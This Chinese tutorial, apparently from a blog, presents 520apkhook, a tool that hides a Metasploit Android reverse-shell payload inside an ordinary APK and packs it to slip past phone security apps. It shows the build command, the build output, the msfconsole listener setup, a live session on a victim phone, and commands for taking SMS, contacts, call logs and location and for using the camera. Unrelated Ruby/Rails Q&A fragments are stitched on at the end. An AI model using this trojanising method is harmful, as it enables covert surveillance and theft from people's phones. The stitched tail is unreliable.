由于经典的MSF生成apk安装包控制,版本较低,高版本安卓手机可能会出现版本不支持或无法使用的现象,而且apk无法正常使用,没有图形化界面,比较假。
相比于原始的msf远控,此版本app在进行远控时,被注入的app可以正常运行,原始msf生成的app程序,只在桌面上有一个图标,点击后没有任何app界面。
注入后的app在安装时,手机管家不会有任何安全提示,原始msf生成的app程序,安装时手机管家会有安全警示。
将msf生成的payload,注入到一个正常的apk文件中,重新打包后进行加固,bypass手机安全管家的检测。
项目地址: GitHub - ba0gu0/520apkhook: 把msf生成的安卓远控附加进普通的app中,并进行加固隐藏特征。可以绕过常见的手机安全管家。
作者: BaoGuo
项目目前由于加固脚本问题, 目前只支持单classes.dex文件操作.
本项目仅用于安全研究, 禁止利用脚本进行攻击, 使用本脚本产生的一切问题和本人无关.
部分被加固过的app无法进行注入,已测试网易系列,360系列,腾讯系列,其他的请自行测试。
本项目参考以下项目

cd 520apkhook
python3 hook.py --lhost 192.168.?.? --lport 1433 -n ./base.apk
// --host 指定msf远控的IP
// --lport 指定msf远控端口
// -n 指定被注入的apk文件路径
生成需要指定的msf payload类型
python3 hook.py --lhost 192.168.?.? --lport 1433 -n ./base.apk
[*] 创建随机字符串,用来修改msf payload!
[+] 生成成功!
[*] 检查电脑上的开发环境
================================
[:] NOTE : 请确认安装jdk8环境!
[*] 检查 : Jdk版本
javac 1.8.0_282
[+] JDK - OK
[*] 检查 : msfvenom
[+] msfvenom - OK
====================================
[*] Available Types of Payload
====================================
(1) android/meterpreter/reverse_tcp
(2) android/meterpreter/reverse_http
(3) android/meterpreter/reverse_https
[?] 选择msf payload (1/2/3): 1
[-] No platform was selected, choosing Msf::Module::Platform::Android from the payload
[-] No arch selected, selecting arch: dalvik from the payload
No encoder specified, outputting raw payload
Payload size: 10192 bytes
......
apk签名时需要输入证书的相关信息
......
[*] 将加固后的dex文件替换apk中的class dex!
'classes.dex'...
[+] 插入成功 !
[+] app加固完成
[*] 创建app签名文件!
您的名字与姓氏是什么?
[Unknown]: 123456
您的组织单位名称是什么?
[Unknown]: 123456
您的组织名称是什么?
[Unknown]: 123456
您所在的城市或区域名称是什么?
[Unknown]: 123456
您所在的省/市/自治区名称是什么?
[Unknown]: 123456
该单位的双字母国家/地区代码是什么?
[Unknown]: 123456
CN=123456, OU=123456, O=123456, L=123456, ST=123456, C=123456是否正确?
[否]: y
......
在生成apk文件后, 目录下会产生Final_Infected.apk和handler.rc
ls
Final_Infected.apk base.apk hook.py libs
Readme.md handler.rc images
使用msfconsole加载handler.rc进行服务端监听
msfconsole -r handler.rc
# cowsay++
____________
< metasploit >
------------
\ ,__,
\ (oo)____
(__) )\
||--|| *
=[ metasploit v6.0.42-dev-b177452c898ad956be8540a40c805bf52310c234]
+ -- --=[ 2124 exploits - 1137 auxiliary - 361 post ]
+ -- --=[ 592 payloads - 45 encoders - 10 nops ]
+ -- --=[ 8 evasion ]
Metasploit tip: After running db_nmap, be sure to
check out the result of hosts and services
[*] Processing handler.rc for ERB directives.
resource (handler.rc)> use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
resource (handler.rc)> set payload android/meterpreter/reverse_tcp
payload => android/meterpreter/reverse_tcp
resource (handler.rc)> set LHOST 0.0.0.0
LHOST => 0.0.0.0
resource (handler.rc)> set LPORT 1433
LPORT => 1433
resource (handler.rc)> set exitonsession false
exitonsession => false
resource (handler.rc)> exploit -j
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 0.0.0.0:1433
msf6 exploit(multi/handler) >
......
将生成的apk文件在安卓手机进行安装, 即可完成对目标的控制
成功后,可以在msf中进行远程控制
msf6 exploit(multi/handler) > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter dalvik/android u0_a53 @ localhost 192.168.0.21:1433 -> 192.168.0.68:65133 (192.168.16
4.194)
msf6 exploit(multi/handler) > sessions 1
[*] Starting interaction with 1...
meterpreter > sysinfo
Computer : localhost
OS : Android 11 - Linux 5.4.61-********+ (armv81)
Meterpreter : dalvik/android
meterpreter > ls
No entries exist in /data/user/0/com.zhangy.vphone/files
meterpreter > app_list
Application List
================
Name Package Running IsSystem
---- ------- ------- --------
Android System WebView com.android.webview false true
Android 系统 android false true
Android动态壁纸 com.android.wallpaper false true
Arm Pro armadillo.studio false false
Black Hole com.android.galaxy4 false true
Bluetooth MIDI Service com.android.bluetoothmidiservice false true
Call Log Backup/Restore com.android.calllogbackup false true
CaptivePortalLogin com.android.captiveportallogin false true
HTML 查看程序 com.android.htmlviewer false true
Intent Filter Verification Service com.android.statementservice false true
KK谷歌助手 io.kkzs false true
LOL GG com.hpdjyxsziq.sqmezcbpyf false false
Live Wallpaper Picker com.android.wallpaper.livepicker false true
MT管理器 bin.mt.plus false false
......
seessions 查看已经获取的会话
sysinfo 查看目标系统信息
screenshot 屏幕截图
webcam_list 查看相机列表
webcam_stream 开启摄像头
webcam_snap 拍照
dump_calllog 获取电话
dump_contacts 获取通讯录
dump_sms 获取短信
geolocate 获取位置
注意:仅供学习测试,不得用于非法或者商业目的,否则后果自负,所有权及解释权归本人所有。
注意:仅供学习测试,不得用于非法或者商业目的,否则后果自负,所有权及解释权归本人所有。
注意:仅供学习测试,不得用于非法或者商业目的,否则后果自负,所有权及解释权归本人所有。
很好奇,就使用rubyonrails自动化单元测试而言,你们正在做什么?您是否创建了一个脚本来在cron中运行rake作业并将结果邮寄给您?git中的预提交Hook?只是手动调用?我完全理解测试,但想知道在错误发生之前捕获错误的最佳实践是什么。让我们理所当然地认为测试本身是完美无缺的,并且可以正常工作。下一步是什么以确保他们在正确的时间将可能有害的结果传达给您? 最佳答案 不确定您到底想听什么,但是有几个级别的自动代码库控制:在处理某项功能时,您可以使用类似autotest的内容获得关于哪些有效,哪些无效的即时反馈。要确保您的提
在控制台中反复尝试之后,我想到了这种方法,可以按发生日期对类似activerecord的(Mongoid)对象进行分组。我不确定这是完成此任务的最佳方法,但它确实有效。有没有人有更好的建议,或者这是一个很好的方法?#eventsisanarrayofactiverecord-likeobjectsthatincludeatimeattributeevents.map{|event|#converteventsarrayintoanarrayofhasheswiththedayofthemonthandtheevent{:number=>event.time.day,:event=>ev
我正在编写一个包含C扩展的gem。通常当我写一个gem时,我会遵循TDD的过程,我会写一个失败的规范,然后处理代码直到它通过,等等......在“ext/mygem/mygem.c”中我的C扩展和在gemspec的“扩展”中配置的有效extconf.rb,如何运行我的规范并仍然加载我的C扩展?当我更改C代码时,我需要采取哪些步骤来重新编译代码?这可能是个愚蠢的问题,但是从我的gem的开发源代码树中输入“bundleinstall”不会构建任何native扩展。当我手动运行rubyext/mygem/extconf.rb时,我确实得到了一个Makefile(在整个项目的根目录中),然后当
当我在Rails控制台中按向上或向左箭头时,出现此错误:irb(main):001:0>/Users/me/.rvm/gems/ruby-2.0.0-p247/gems/rb-readline-0.4.2/lib/rbreadline.rb:4269:in`blockin_rl_dispatch_subseq':invalidbytesequenceinUTF-8(ArgumentError)我使用rvm来管理我的ruby安装。我正在使用=>ruby-2.0.0-p247[x86_64]我使用bundle来管理我的gem,并且我有rb-readline(0.4.2)(人们推荐的最少
我正在使用Ruby2.1.1和Rails4.1.0.rc1。当执行railsc时,它被锁定了。使用Ctrl-C停止,我得到以下错误日志:~/.rvm/gems/ruby-2.1.1/gems/spring-1.1.2/lib/spring/client/run.rb:47:in`gets':Interruptfrom~/.rvm/gems/ruby-2.1.1/gems/spring-1.1.2/lib/spring/client/run.rb:47:in`verify_server_version'from~/.rvm/gems/ruby-2.1.1/gems/spring-1.1.
这是一道面试题,我没有答对,但还是很好奇怎么解。你有N个人的大家庭,分别是1,2,3,...,N岁。你想给你的大家庭拍张照片。所有的家庭成员都排成一排。“我是家里的friend,建议家庭成员安排如下:”1岁的家庭成员坐在这一排的最左边。每两个坐在一起的家庭成员的年龄相差不得超过2岁。输入:整数N,1≤N≤55。输出:摄影师可以拍摄的照片数量。示例->输入:4,输出:4符合条件的数组:[1,2,3,4][1,2,4,3][1,3,2,4][1,3,4,2]另一个例子:输入:5输出:6符合条件的数组:[1,2,3,4,5][1,2,3,5,4][1,2,4,3,5][1,2,4,5,3][
我将我的Rails应用程序部署到OpenShift,它运行良好,但我无法在生产服务器上运行“Rails控制台”。它给了我这个错误。我该如何解决这个问题?我尝试更新rubygems,但它也给出了权限被拒绝的错误,我也无法做到。railsc错误:Warning:You'reusingRubygems1.8.24withSpring.UpgradetoatleastRubygems2.1.0andrun`gempristine--all`forbetterstartupperformance./opt/rh/ruby193/root/usr/share/rubygems/rubygems
我已经构建了一些serverspec代码来在多个主机上运行一组测试。问题是当任何测试失败时,测试会在当前主机停止。即使测试失败,我也希望它继续在所有主机上运行。Rakefile:namespace:specdotask:all=>hosts.map{|h|'spec:'+h.split('.')[0]}hosts.eachdo|host|begindesc"Runserverspecto#{host}"RSpec::Core::RakeTask.new(host)do|t|ENV['TARGET_HOST']=hostt.pattern="spec/cfengine3/*_spec.r
我们的git存储库中目前有一个Gemfile。但是,有一个gem我只在我的环境中本地使用(我的团队不使用它)。为了使用它,我必须将它添加到我们的Gemfile中,但每次我checkout到我们的master/dev主分支时,由于与跟踪的gemfile冲突,我必须删除它。我想要的是类似Gemfile.local的东西,它将继承从Gemfile导入的gems,但也允许在那里导入新的gems以供使用只有我的机器。此文件将在.gitignore中被忽略。这可能吗? 最佳答案 设置BUNDLE_GEMFILE环境变量:BUNDLE_GEMFI
这似乎非常适得其反,因为太多的gem会在window上破裂。我一直在处理很多mysql和ruby-mysqlgem问题(gem本身发生段错误,一个名为UnixSocket的类显然在Windows机器上不能正常工作,等等)。我只是在浪费时间吗?我应该转向不同的脚本语言吗? 最佳答案 我在Windows上使用Ruby的经验很少,但是当我开始使用Ruby时,我是在Windows上,我的总体印象是它不是Windows原生系统。因此,在主要使用Windows多年之后,开始使用Ruby促使我切换回原来的系统Unix,这次是Linux。Rub